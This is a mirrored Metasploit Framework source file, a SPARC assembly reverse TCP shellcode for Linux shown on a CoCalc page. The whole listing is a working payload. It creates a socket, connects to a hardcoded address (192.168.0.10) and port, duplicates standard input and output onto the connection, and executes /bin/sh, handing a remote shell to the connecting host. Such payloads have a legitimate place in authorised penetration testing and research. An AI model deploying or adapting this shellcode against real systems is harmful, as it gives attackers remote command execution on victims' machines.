CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/shellcode/linux/sparc/single_reverse_tcp.s
Views: 11784
1
##
2
#
3
# Name: single_reverse_tcp
4
# Platforms: Linux
5
# Authors: vlad902 <vlad902 [at] gmail.com>
6
# Version: $Revision: 1652 $
7
# License:
8
#
9
# This file is part of the Metasploit Exploit Framework
10
# and is subject to the same licenses and copyrights as
11
# the rest of this package.
12
#
13
# Description:
14
#
15
# Single reverse TCP shell.
16
#
17
##
18
19
.globl main
20
21
main:
22
andn %sp, 7, %sp
23
24
mov 1, %o0
25
mov 2, %l0
26
st %l0, [ %sp - 0x0c ]
27
st %o0, [ %sp - 0x08 ]
28
st %g0, [ %sp - 0x04 ]
29
sub %sp, 0x0c, %o1
30
mov 0xce, %g1
31
ta 0x10
32
33
sub %sp, 0x20, %l2
34
mov 0x10, %l3
35
st %o0, [ %sp - 0x0c ]
36
std %l3, [ %sp - 0x08 ]
37
38
#ifndef NO_NULLS
39
set 0x00027a68, %l4
40
#else
41
set 0x27a68fff, %l4
42
srl %l4, 12, %l4
43
#endif
44
set 0xc0a8000a, %l5
45
std %l4, [ %sp - 0x20 ]
46
47
mov 3, %o0
48
ta 0x10
49
50
mov 3, %o1
51
dup2_loop:
52
subcc %o1, 1, %o1
53
mov 0x5a, %g1
54
ta 0x10
55
56
bnz dup2_loop
57
ld [ %sp - 0x0c ], %o0
58
59
xor %o3, %o3, %o2
60
set 0x2f62696e, %l0
61
set 0x2f736800, %l1
62
sub %sp, 0x10, %o0
63
sub %sp, 0x08, %o1
64
std %l0, [ %sp - 0x10 ]
65
st %o0, [ %sp - 0x08 ]
66
st %g0, [ %sp - 0x04 ]
67
mov 0x3b, %g1
68
ta 0x08
69
70